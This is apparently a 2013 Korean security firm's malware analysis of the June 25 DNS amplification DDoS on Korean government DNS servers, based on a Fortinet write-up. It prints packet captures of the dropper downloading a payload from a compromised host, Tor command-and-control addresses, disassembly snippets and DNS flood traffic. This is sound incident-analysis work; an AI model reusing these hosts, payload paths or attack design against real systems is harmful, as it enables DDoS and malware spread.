

#WI-13-025

6.25 DNS DDoS 공격 악성코드 분석

2013-07-19



HNS *Pioneer of Security Research*
<http://www.hacknsecurity.com>

내용 요약

이 보고서는 7월 15일 Fortinet의 Kyle Yang이 작성한 "6.25 DNS DDoS Attack In Korea"를 참고하여 작성된 것임

공격 대상이 된 DNS 서버는 ns.gcc.go.kr과 ns2.gcc.go.kr로, 악성코드에 감염된 좀비 PC는 DNS 서버에 대한 도메인 확인 질의에 대한 응답을 두 타겟으로 보내지도록 하는 방법을 이용하였음

이번 공격에서는 공격 시간 설정 등 3.20 사이버 공격과 유사한 점들이 있으며, 흥미로운 부분은 Tor 네트워크를 이용해 공격자는 익명성을 유지하였다는 것임

이번 공격에 사용된 파일들은 공격 직전에 컴파일되었을 것으로 추정되며, 이는 최근 우리나라를 대상으로 하는 사이버 공격의 한 특징으로, 사전에 악성코드의 노출로 인해 공격의 실패 요인을 줄이고, 공격의 파장을 높이기 위한 의도로 판단됨

1. 개요

이 보고서는 Fortinet의 Kyle Yang이 작성하여 7월 15일 공개된 "6.25 DNS DDoS Attack In Korea"를 참고하여 정리한 것으로, 6월 25일 오전 10시 이후에 발생한 정부 관련 서버에 대한 DDoS 공격을 분석한 것임

정부 관련 서버에 대한 당시 DDoS 공격은 DNS 서버에 무작위 도메인 주소 확인 요청을 보내고, 이에 대한 응답을 조작하여 정부의 주요 DNS 서버인 ns.gcc.go.kr과 ns2.gcc.go.kr로 응답 패킷이 집중되도록 하여 발생하였음

ns.gcc.go.kr과 ns2.gcc.go.kr은 정부통합전산센터가 관리하고 있는 DNS 서버임

악성코드 유포지는 파일 공유나 다운로드를 위해 웹 사이트에서 배포하는 어플리케이션을 사용하는 웹 하드 성격의 웹 사이트나 인터넷 쇼핑몰과 같이 다수가 접속하지만 보안이 취약한 웹 사이트를 대상으로 하는 경우가 많음

한번 공격에 사용된 웹 사이트는 일정 기간 이후 다시 공격에 사용되는 경우도 있는데, 대표적인 예로 3.20 사이버 공격에 사용된 sujewha.com은 이전에 사용된 적이 있었으며, 따라서 사이버 공격을 위해 악성코드 유포지로 사용된 웹 사이트는 보안 점검 및 지속적인 모니터링이 필요함

2. 세부내용

- 6.25 DNS DDoS 공격을 위해 공격자가 악성코드 배포지로 삼은 곳은 simdisk.co.kr로, Simdisk 웹 사이트는 사전에 공격을 당해 악성코드를 배포하고 있었음
- Simdisk의 웹 사이트가 배포하던 악성코드는 SimDisk_setup.exe 파일이며, 스스로 압축을 풀 수 있는 RAR 파일로, 이 파일을 풀면 SimDisk_setup.exe와 SimDiskup.exe 파일 두 개가 들어가 있음
- SimDisk_setup.exe 파일
 - * 이것은 2013년 6월 24일에 생성된 파일로, 공격 직전에 컴파일되었을 것으로 추정되며, 이는 최근 우리나라를 대상으로 하는 사이버 공격의 한 특징으로, 사전에 악성코드의 노출로 인해 공격의 실패 요인을 줄이고, 공격의 파장을 높이기 위한 의도로 판단됨



- * 원격 웹 사이트로부터 악성 파일을 다운받는 역할을 함

```

0040B200 aSimdisk_exe_0 db '~simdisk.exe',0
0040B20D db 0
0040B20E db 0
0040B20F db 0
0040B210 aHttpWww_habang db 'http://www.habang.co.kr/images/korea/c.jpg',0

```

Stream Content

```

GET /images/korea/c.jpg HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1)
Host: www.habang.co.kr
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: Apache
Date: Tue, 25 Jun 2013 08:24:51 GMT
Content-Type: image/jpeg
Content-Length: 3405824
Connection: keep-alive
P3P: CP='NOI CURa ADMa DEVa TAia OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Last-Modified: Tue, 25 Sep 2012 08:10:26 GMT
ETag: "107c128-33f800-506166f2"
Accept-Ranges: bytes

MZ.....@.....!..L.!
This program cannot be run in DOS mode.

$......a"3D.L`D.L`D.L`+v.`b.L`+v.`S.L`+v.`1.L`...B.L`Mx.`O.L`D.M`#.L`+v.`G.L`
+v.`E.L`RichD.L`.....PE..L.....Q.....
..0...#.....C.....@.....@.....C.....4...
@.....mp'.....
%.....
0'.....0'.....@.....rsrc.....@.....@.....@.....idat

```

Entire conversation (3406354 bytes)

- 현재는 c.jpg 파일은 서버에서 삭제된 상태라 파일을 다운 받을 수 없음

Follow TCP Stream

Stream Content

```

GET /images/korea/c.jpg HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.habang.co.kr
Connection: Keep-Alive

HTTP/1.1 404 Not Found
Server: Apache
Date: Thu, 18 Jul 2013 11:05:30 GMT
Content-Type: text/html; charset=iso-8859-1
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip

b3
.....L.....0..w..d.C.....1e`$R..T).....Gv..E]2H..CYE<...#fL$.T.ms.|D...C,..
$e`j@d..0.....Z.....6t.....!.....rd/a..E.Y.P]8..l:.....&.....6.F#...j...4h9}.....
.....
a
....08....
0

```

Find Save As Print Entire conversation (698 bytes) ASCII EBCDIC Hex Dump C Arrays Raw

Help Filter Out This Stream Close

- * 악성코드가 저장된 경로(/images/korea.c.jpg)를 보면 공격자는 Simdisk의 서버를 해킹한 이후 유포할 악성 파일을 서버 내부에 저장해두었다는 것을 알 수 있음

- c.jpg는 simdisk.exe로 저장되는데, 이 파일은 3개의 파일 alg.exe, explorer.exe, config.ini를 드롭시키는 dropper이며, 이 3개의 파일은 Themida라는 런타임 packer로 패킹되어 있음(현재로서는 c.jpg 파일을 구할 수가 없어 이 3개의 파일에 대한 분석 작업을 진행하지 못함)
- explorer.exe, config.ini는 TOR 네트워크 연결 프로그램(버전 0.2.3.25)이며, alg.exe는 Tor 네트워크와 연결하여 DDoS payload를 다운로드하는 downloader임
- 공격용 payload를 다운받기 위해 Tor의 네트워크를 이용했다는 점은 아주 흥미로운 것으로, Tor 네트워크를 이용한 사이버 공격은 추후에도 사용될 것으로 예상됨(아래는 이번 공격에 사용된 Tor 네트워크로, 추적이 힘들)

<http://hfc4z2pxfdmsfczp.onion/etc/>
<http://n3fwfxcdjfv4zxp.a.onion/etc/>
<http://p4dxzhnlukvh6p4a.onion/etc/>
<http://swe4ta6k64m7vguk.onion/etc/>
<http://7odyldjmpzjrhsye.onion/etc/>
<http://vtyee6ev7gki7qxf.onion/etc/>
<http://rns3d52wyctfktcb.onion/etc/>
<http://et53n5fxxmjukgki.onion/etc/>
<http://u6irlnorfxnn7cqs.onion/etc/>
<http://snij5xfzt2qspj2.onion/etc/>

- DDoS 공격을 위한 파일 준비가 끝나면 먼저 디스크에 존재하는 파일을 가상 메모리에 올려 사용하기 위한 FileMapping Object를 체크하는데, 이 부분은 3.20 사이버 공격에 사용된 방법과 유사함

```

push    offset Name      ; "Global\\MicrosoftUpgradeObject9.6.4"
push    0                ; bInheritHandle
push    4                ; dwDesiredAccess
call    ds:OpenFileMappingA

```

- FileMapping Object 체크 후 OS의 아키텍처(32bit / 64bit)를 확인, ~DRandom number.tmp 파일을 드롭시키고, ~DR tmp 파일을 로딩한 후 서비스로 DLL 파일을 로딩, 이 DLL 파일의 서비스가 시작되면 FileMapping Object를 체크함

```

mov     esi, offset Name ; "Global\\MicrosoftUpgradeObject9.6.4"
push    esi              ; lpName
xor     ebx, ebx
push    ebx              ; bInheritHandle
push    4                ; dwDesiredAccess
call    ds:OpenFileMappingA
test    eax, eax

```

- API의 주소를 확인 후 통신을 위해 쓰레드를 생성

```
Stream Content
00000000 47 45 54 20 2f 6d 61 69 6c 2f 69 6d 61 67 65 73 GET /mai 1/images
00000010 2f 63 74 2e 6a 70 67 20 48 54 54 50 2f 31 2e 30 /ct.jpg HTTP/1.0
00000020 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 ..Accept : /*..U
00000030 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c ser-Agen t: Mozil
00000040 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 la/4.0 ( compatib
00000050 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 le; MSIE 6.0; wi
00000060 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 53 56 ndows NT 5.1; sv
00000070 31 29 0d 0a 48 6f 73 74 3a 20 77 65 62 6d 61 69 1)..Host : webmai
00000080 6c 2e 67 65 6e 65 73 79 73 68 6f 73 74 2e 63 6f l.genesy shost.co
00000090 6d 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b m..Conne ction: K
000000A0 65 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a eep-Aliv e....
00000000 48 54 54 50 2f 31 2e 30 20 32 30 30 20 4f 4b 0d HTTP/1.0 200 OK.
00000010 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 .Connect ion: kee
00000020 70 2d 61 6c 69 76 65 0d 0a 53 65 72 76 65 72 3a p-alive. .Server:
00000030 20 49 63 65 57 61 72 70 2f 34 2e 31 0d 0a 44 61 IceWarp /4.1..Da
00000040 74 65 3a 20 57 65 64 2c 20 32 36 20 4a 75 6e 20 te: Wed, 26 Jun
00000050 32 30 31 33 20 32 32 3a 31 33 3a 32 33 20 2d 30 2013 22: 13:23 -0
00000060 36 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 600..Con tent-Typ
00000070 65 3a 20 69 6d 61 67 65 2f 6a 70 65 67 0d 0a 43 e: image /jpeg..C
00000080 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 ontent-L ength: 8
00000090 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a ..Last-M odified:
000000A0 20 4d 6f 6e 2c 20 32 34 20 4a 75 6e 20 32 30 31 Mon, 24 Jun 201
000000B0 33 20 31 36 3a 30 30 3a 32 32 20 2d 30 36 30 30 3 16:00: 22 -0600
000000C0 0d 0a 0d 0a
000000C4 42 4d 36 57 06 19 0a 00 BM6W....
```

- 통신이 시작되면 응답 부분은 BM6W와 공격 시간 설정 부분으로 나눌 수 있으며, BM6W는 바이너리에 하드코딩되어 있음

```
push    4
lea     eax, [ebp+var_10]
push    offset aBm6w      ; "BM6W"
push    eax                ; char *
call    _strncmp
add     esp, 0ch
push    esi                ; FILE *
test    eax, eax
jnz     short loc_1000117F
```

- 6월 25일 10:00가 지나면 Themida로 패키징된 파일 wuaieop.exe를 드롭시키고, 이것은 DDos 공격을 수행하기 위해 2개의 쓰레드를 시작하는데, xxx.gcc.go.kr로 쿼리를 보냄

36.16.734549	192.168.195.139	152.99.200.6	DNS	1468 Standard query 0x7d3b ANY tbo.gcc.go.kr
37.16.735046	192.168.195.139	152.99.200.6	DNS	1315 Standard query 0xa64d ANY 1.gcc.go.kr
38.16.735506	192.168.195.139	152.99.200.6	DNS	1321 Standard query 0xf723 ANY sukksxy.gcc.go.kr
39.16.736718	192.168.195.139	152.99.200.6	DNS	1318 Standard query 0xcc45 ANY dzlv.gcc.go.kr
40.16.737177	192.168.195.139	152.99.200.6	DNS	1320 Standard query 0x1336 ANY fmfuh.gcc.go.kr
41.16.737341	192.168.195.139	152.99.1.10	DNS	1321 Standard query 0x831c ANY fjjginm.gcc.go.kr
42.16.737808	192.168.195.139	152.99.1.10	DNS	1315 Standard query 0xa64d ANY 1.gcc.go.kr
43.16.738269	192.168.195.139	152.99.1.10	DNS	1321 Standard query 0xf723 ANY sukksxy.gcc.go.kr
44.16.738738	192.168.195.139	152.99.1.10	DNS	1318 Standard query 0xcc45 ANY dzlv.gcc.go.kr
45.16.739207	192.168.195.139	152.99.1.10	DNS	1320 Standard query 0x1336 ANY fmfuh.gcc.go.kr
46.16.749938	192.168.195.139	152.99.1.10	DNS	1369 Standard query 0x0459 ANY uwf.gcc.go.kr
47.16.750409	192.168.195.139	152.99.1.10	DNS	1374 Standard query 0x4350 ANY ebfxrtk.gcc.go.kr
48.16.750911	192.168.195.139	152.99.1.10	DNS	1372 Standard query 0xf43e ANY phghfa.gcc.go.kr
49.16.751404	192.168.195.139	152.99.1.10	DNS	1376 Standard query 0x221c ANY ruhstsgvj.k.gcc.go.kr
50.16.751890	192.168.195.139	152.99.1.10	DNS	1371 Standard query 0xa641 ANY bzidh.gcc.go.kr
51.16.752272	192.168.195.139	152.99.200.6	DNS	1369 Standard query 0x0459 ANY uwf.gcc.go.kr
52.16.752758	192.168.195.139	152.99.200.6	DNS	1374 Standard query 0x4350 ANY ebfxrtk.gcc.go.kr
53.16.753219	192.168.195.139	152.99.200.6	DNS	1372 Standard query 0xf43e ANY phghfa.gcc.go.kr
54.16.753715	192.168.195.139	152.99.200.6	DNS	1376 Standard query 0x221c ANY ruhstsgvj.k.gcc.go.kr
55.16.754187	192.168.195.139	152.99.200.6	DNS	1371 Standard query 0xa641 ANY bzidh.gcc.go.kr
56.16.766042	192.168.195.139	152.99.200.6	DNS	1420 Standard query 0x8b43 ANY getzu.gcc.go.kr
57.16.766514	192.168.195.139	152.99.200.6	DNS	1419 Standard query 0x560d ANY qjik.gcc.go.kr
58.16.767004	192.168.195.139	152.99.200.6	DNS	1423 Standard query 0xd84f ANY bobueljo.gcc.go.kr
59.16.767496	192.168.195.139	152.99.200.6	DNS	1422 Standard query 0x3a1b ANY dccfsdt.gcc.go.kr
60.16.767982	192.168.195.139	152.99.200.6	DNS	1421 Standard query 0xbb09 ANY ohdygv.gcc.go.kr
61.16.768262	192.168.195.139	152.99.1.10	DNS	1420 Standard query 0x8b43 ANY getzu.gcc.go.kr
62.16.768770	192.168.195.139	152.99.1.10	DNS	1419 Standard query 0x560d ANY qjik.gcc.go.kr
63.16.769268	192.168.195.139	152.99.1.10	DNS	1423 Standard query 0xd84f ANY bobueljo.gcc.go.kr
64.16.769772	192.168.195.139	152.99.1.10	DNS	1422 Standard query 0x3a1b ANY dccfsdt.gcc.go.kr
65.16.770266	192.168.195.139	152.99.1.10	DNS	1421 Standard query 0xbb09 ANY ohdygv.gcc.go.kr

- 이 공격은 DNS Amplification DDoS라고 할 수 있으며, 악성코드에 감염된 PC에서 DNS 서버에 무작위로 도메인 주소에 대해 확인 요청을 보내고, 이때 응답은 공격의 타깃이 받도록 하여 타깃 시스템에 과부하 현상이 발생하도록 하는데, 이번 공격에서는 약 20,000여개의 DNS 질의가 이루어졌음
- 이번 DDoS 공격이 된 두 개의 타깃은 바이너리에 하드코딩되어 있으며, 두 타깃은 다음과 같이 ns.gcc.go.kr(152.99.1.10)과 ns2.gcc.go.kr(152.99.200.6)임

```
push    offset a152_99_1_10 ; "152.99.1.10"
mov     word ptr [esp+84Ch+var_83B+1], ax
```

```
push    offset a152_99_200_6 ; "152.99.200.6"
mov     word ptr [esp+84Ch+var_83B+1], ax
```

3. 기타

- Kyle Yang, "6.25 DNS DDoS Attack In Korea"
<http://blog.fortinet.com/6-25-DNS-DDOS-Attack-In-Korea/>